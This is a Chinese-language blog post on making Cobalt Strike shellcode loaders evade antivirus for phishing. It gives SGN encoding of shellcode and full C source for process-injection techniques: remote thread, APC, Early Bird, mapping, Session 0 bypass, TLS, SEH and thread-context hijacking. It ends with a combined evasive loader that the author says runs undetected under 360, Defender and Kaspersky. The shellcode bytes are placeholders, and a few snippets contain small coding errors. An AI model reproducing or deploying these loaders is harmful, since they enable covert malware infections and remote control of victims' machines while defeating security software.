# CS 原生 shellcode 上线免杀

最近攻防在即所以想要尝试写免杀🐎钓钓鱼,所以小学了一手一些比较好用且免杀效果比较好的手法做一下总结,从几个角度去组合免杀。

# shellcode 免杀

sgn 编码 (内存自解密),可以很好的做到静态免杀的效果不需要做其他任何加密手段即可做到静态免杀,可以尝试 sgn 编码后传 vt 一般就是 0 查杀。

用法:将 shellcode 二进制文件例如 xx.bin 保存,使用 sgn.exe 进行编码,需要注意的是系统位数要对

原始 shellcode (用 winhex 等二进制编辑器打开):
sgn 进行编码:
编码后的 shellcode:

这种静态免杀效果很好基本上无需做其他任何加密处理,同时还做到了降熵,当然这里还可以将二进制文件托管到服务器上然后通过 http 请求来获取 shellcode,也可以配合图片隐写进行 shellcode 的隐藏。

# 代码与进程注入手法

CreateRemoteThread (远程线程注入)
注入流程:
1、根据进程名寻找 pid,用于后续进程注入
2、根据 pid 打开指定进程句柄
3、向指定进程申请可读可写可执行的内存区域
4、将 shellcode 或 dll 注入到该内存区域中
5、开辟一个新线程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
char path[] = "C:\\xxx\\TestDll.dll"; //dll注入
char shellcode[] = {\x12}; //shellcode注入
int DllInjectMain() //dll注入
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"notepad.exe"));
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
return 0;
}

int ShellcodeInjectMain(){ //shellcode注入
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"notepad.exe"));
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000(或者sizeof shellcdoe), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
}


这种直接的线程注入容易暴毙,建议搭配其他手段食用。

APC Injection (APC 注入)
每个线程都有自己的 APC 队列,应用程序通过调用 QueueUserAPC 函数将 APC 排队到线程中,调用线程在对 QueueUserAPC 的调用中指定 APC 函数的地址,当 APC 排队到线程中时,系统会发出软件中断。下次调度线程时,它将运行 APC 功能。
注入流程:
1、根据进程名确定 pid
2、通过 pid 遍历 tid
3、插入 APC 队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include<Windows.h>
#include<stdio.h>
#include <Tlhelp32.h>

DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}

BOOL GetAllThreadIdByProcessId(DWORD dwProcessId)
{
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet){
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId){
return te32.th32ThreadID;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
return 0;
}

int DllInjdectMain() { //dll注入
FARPROC pLoadLibrary = NULL;
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD Threadid = 0;
DWORD ProcessId = 0;
BYTE DllName[] = "C:\\Users\\Black Sheep\\source\\repos\\ApcInject\\x64\\Debug\\TestDll.dll";
LPVOID AllocAddr = NULL;
ProcessId = GetProcessIdByName(L"explorer.exe");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId);
pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(DllName) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, AllocAddr, DllName, sizeof(DllName) + 1, 0);
Threadid = GetAllThreadIdByProcessId(ProcessId);
hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid);
QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)AllocAddr);
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}

int ShellcodeInjectMain(){ //shellcode注入
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD Threadid = 0;
DWORD ProcessId = 0;
char shellcode[] = {\x12}; //shellcode
ProcessId = GetProcessIdByName(L"explorer.exe");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId);
LPVOID lpBaseeAddresss = (LPVOID)VirtualAllocEx(hProcess, NULL, 0X1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpBaseeAddresss, shellcode, sizeof(shellcode) + 1, 0);
Threadid = GetAllThreadIdByProcessId(ProcessId);
hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid);
QueueUserAPC((PAPCFUNC)lpBaseeAddresss, hThread, NULL);
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}

Early Bird (进阶版 APC 注入)
先创建一个挂起的白进程并申请一块 RWX 内存用于写入 shellcode,再使用 APC 注入插入线程,再恢复线程。实际上就是在白进程上偷摸注入一个新线程跑 shellcode。
注入流程跟上述 APC 注入差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<Windows.h>

unsigned char shellcode[] = {"\0x1"}; //恶意shellcode

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFO);

CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | EMBDHLP_CREATENOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
LPVOID lpBaseeAddresss = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0X1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseeAddresss, (LPVOID)shellcode, sizeof(shellcode), NULL);
QueueUserAPC((PAPCFUNC)lpBaseeAddresss, pi.hThread, NULL);

ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
return 0;
}

这个免杀手法十分的好用,推荐再稍微搭配一下其他规避手段就可以绕过绝大多数杀软做到无感上线,实际代码和上线效果贴在文末。

Mapping Injection (内存映射注入)
先在物理内存中开辟一段空间用于写入恶意 shellcode,后续利用 MapViewOfFile2 将该恶意内存区域映射到指定进程中的虚拟内存中去,达到 shellcode 注入的效果。
注入流程:
1、创建 Mapping 句柄
2、将 shellcode 复制到该物理内存地址中去
3、将该段物理内存映射到虚拟内存中
4、利用任意方法执行到该地址的 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "OneCore.lib")

unsigned char shellcode[] = {0x12}; //shellcode

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFO);

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

QueueUserAPC((PAPCFUNC)lpMapAddressRemote, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(hMapping);
UnmapViewOfFile(lpMapAddress);
return 0;
}
//Mapping Injection + Early Bird

可以和其他手段组合,比如 Early Bird 来达到强规避的效果

Bypass Session 0 Injection (系统进程注入绕过)
无法直接向系统进程内注入 shellcode 或者 dll,原因是 R3 的 CreateRemoteThread 在 R0 中的函数原型 ZwCreateThreadEx 在内部调用时会将第七个参数设为 1 导致会使新创建的线程处于挂起状态,所以我们的恶意 shellcode 无法被执行,只需要将第七个参数置 0 即可绕过。
注入流程:
1、利用函数原型自定义 ZwCreateThreadEx 函数
2、通过系统获取 ntdll.dll 并加载 ZwCreateThreadEx 函数
3、申请一块内存空间并将 shellcode 写入
4、利用 ZwCreateThreadEx 将 shellcode 注入到系统进程中,将第七个参数置 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <Windows.h>
#include <stdio.h>

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif

int main(int argc, char* argv[]) {
//char DllPath[] = "C:\\Users\\Black Sheep\\source\\repos\\sesion0\\x64\\Debug\\TestDll.dll";
char shellcode[] = {0x12} //shellcode
HANDLE hRemoteThread;
HANDLE hNtModule = GetModuleHandleA("ntdll.dll");

typedef_ZwCreateThreadEx ZwCreateThreadEx = GetProcAddress(hNtModule, "ZwCreateThreadEx");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1516(系统进程pid));
LPVOID lpBaseeAddresss = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0X1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), 0);
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0, 0, 0, NULL);

CloseHandle(hRemoteThread);
CloseHandle(hProcess);
FreeLibrary(hNtModule);
return 0;
}

TLS Code Execute (TLS 代码执行)
线程局部存储(Thread Local Storage,TLS)用来将数据与一个正在执行的指定线程关联起来,其提供了回调函数因此可以利用该函数达到执行 shellcode 的效果,主要编写的是 Reason 其规定和 dll 调用时一样 DLL_PROCESS_ATTACH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
char shellcode[] = {0x12} //shellcode

VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
//DllHandle模块句柄、Reason调用原因、 Reserved加载方式(显式/隐式)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
//写执行函数,也可以利用其他手段进行shellcode注入
((void(WINAPI*)(void)) & shellcode)();
}
}
//使用TLS需要在程序中新建一个.tls段专门存放TLS数据,申明使用
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")

#pragma data_seg (".CRT$XLB")
//.CRT表明是使用C RunTime机制,$后面的XLB中:X表示随机的标识
//L表示是TLS callback section,B可以被换成B到Y之间的任意一个字母,
//但是不能使用“.CRT$XLA”和“.CRT$XLZ”,因为“.CRT$XLA”和“.CRT$XLZ”是用于tlssup.obj的。
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
#pragma data_seg ()

int main()
{
return 0;
}

只是一种执行手段,依然可以配合其他手段组合。

SEH Code Execute (SEH 异常处理代码执行)
SEH (Structured Exception Handling) 结构化异常处理,是 windows 操作系统默认的错误处理机制,通过主动抛出异常然后将恶意代码插入即可触发,可用于反调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "";

int a = 1;
int b = 0;

int ExceptFilter()
{
b = 1;
((void(*NTAPI)(void)) & shellcode)();
return EXCEPTION_CONTINUE_EXECUTION;//返回出错位置重新执行
}

int main(){
_try
{
int c = a / b; //只要能触发异常即可
}
_except(ExceptFilter()) {

};
return 0;
}

需要主动触发异常,当然可以填充大量代码将触发异常的代码写的很隐蔽,还可以做到反调试的效果,也需要配合其他手段食用。

SetContext Hijack Thread (线程上下文环境劫持)
简单理解就是劫持线程的上下文环境,然后强行将 eip/rip 指向 shellcode 并执行。
劫持流程:
1、创建一个挂起的合法进程
2、将恶意 shellcode 写入该进程
3、将 eip/rip 指向该地址
4、恢复线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<Windows.h>
#include<stdio.h>

char shellcode[] = {0x12};

int main(){
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);

PROCESS_INFORMATION pi = {0};

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);

CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBuffer;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
return 0;
}

# 本地测试效果和其他手法演示

本次编写的恶意样本手法组合为:sgn + Early Bird + RW/RX/NOA 转换 + 自写 Win32API + junkCode 填充 + Sleep (15000)(循环真睡眠) 规避主动内存扫描
主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<Windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

unsigned char fish[307910] = {......} //sgn后的shellcode
const char* text_path = "C:\\Windows\\System32\\notepad.exe";
const char* CreateP = "CreateProcessA";
const char* VirPro = "VirtualProtect";
const char* VirAloc = "VirtualAllocEx";
const char* WriteMem = "WriteProcessMemory";
const char* QueAPC = "QueueUserAPC";

typedef BOOL(WINAPI* pCreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef LPVOID(WINAPI* pVirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL(WINAPI* pVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef BOOL(WINAPI* pWriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
typedef DWORD(WINAPI* pQueueUserAPC)(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);


int GoHere() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFO);

HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
pCreateProcessA MyCreateProcess = (pCreateProcessA)GetProcAddress(hKernel32, CreateP);
pVirtualAllocEx MyVirtualAlloc = (pVirtualAllocEx)GetProcAddress(hKernel32, VirAloc);
pVirtualProtect MyVirProtect = (pVirtualProtect)GetProcAddress(hKernel32, VirPro);
pWriteProcessMemory MyWriteMen = (pWriteProcessMemory)GetProcAddress(hKernel32, WriteMem);
pQueueUserAPC MyQueueAPC = (pQueueUserAPC)GetProcAddress(hKernel32, QueAPC);


MyCreateProcess(text_path, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
LPVOID lpBaseeAddresss = (LPVOID)MyVirtualAlloc(pi.hProcess, NULL, 0X400200, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

DWORD oldProtect;
MyVirProtect(lpBaseeAddresss, sizeof fish, PAGE_NOACCESS, &oldProtect);
for (int i = 0; i < 986; i++);
MyVirProtect(lpBaseeAddresss, sizeof fish, PAGE_READWRITE, &oldProtect);
for (int i = 0; i < 777; i++);
MyVirProtect(lpBaseeAddresss, sizeof fish, PAGE_NOACCESS, &oldProtect);
for (int i = 0; i < 321; i++);
MyVirProtect(lpBaseeAddresss, sizeof fish, PAGE_READWRITE, &oldProtect);
for (int i = 0; i < 123; i++);
MyVirProtect(lpBaseeAddresss, sizeof fish, PAGE_NOACCESS, &oldProtect);
for (int i = 0; i < 256; i++);
MyVirProtect(lpBaseeAddresss, sizeof fish, PAGE_EXECUTE_READ, &oldProtect);

Sleep(15000);
MyWriteMen(pi.hProcess, lpBaseeAddresss, (LPVOID)fish, sizeof(fish), NULL);
MyQueueAPC((PAPCFUNC)lpBaseeAddresss, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);

return 0;
}

//工具生成的junkCode进行填充,太长了就不写了

编译完后还可以进一步操作,比如替换 ico 图标,添加伪签名等等。这里我只进行图标的替换测试了 360 (核晶模式)、windowDefinder (个人版、企业版、专业版)、卡巴斯基 (免费版),其中除了 wdf 专业版无法上线之外其他都能做到无感上线,并且可以直接执行 shell 命令 (当然这里我用的是 cs4.9 并且配置了 C2profile 有一定的流量规避效果)。

360 核晶
wdf (真实环境远程上线 ==> 执行 screenshot)
卡巴斯基
360 杀毒 + 360 核晶会报警告提示

# Ekko 睡眠混淆技术演示:

该项目也是 havoC2 的作者的,已经集成在了 havoc 上,在这我们单独把这个项目运行看看,将 github 上的项目拉取到本地即可,编译器用的是 visual studio2022。其混淆原理简单来说就是在一个周期内睡眠结束后的几十毫秒内将内存中代码段进行异或恢复到正常功能代码,并同时恢复 RX 属性。
我们需要关注的代码段就在 Ekko.c 中,这里我们单独提炼出来:

1
2
3
4
5
6
7
8
ImageBase = GetModuleHandleA(NULL);     //获取当前进程基址
//获取该本进程内存镜像大小
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ImageBase;
DWORD e_lfanew = dosHeader->e_lfanew;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((char*)ImageBase + e_lfanew);
ImageSize = ntHeaders->OptionalHeader.SizeOfImage;

//ImageSize = 0x0005e6b4;

这里获取内存镜像大小的代码我做了修改,原项目的代码在我本地运行时获取到的大小始终为 0,暂时也不清楚什么情况。
这里我们修改完后再编译即可,这里我们使用 messagebox 来模拟 c2 服务端发送的指令,使用 ProcessHacker 监控内存变换。

非睡眠时间段 (事件等待时间段):

睡眠混淆时间段:

更新于

请我喝[茶]~( ̄▽ ̄)~*

shutTD 微信支付

微信支付

shutTD 支付宝

支付宝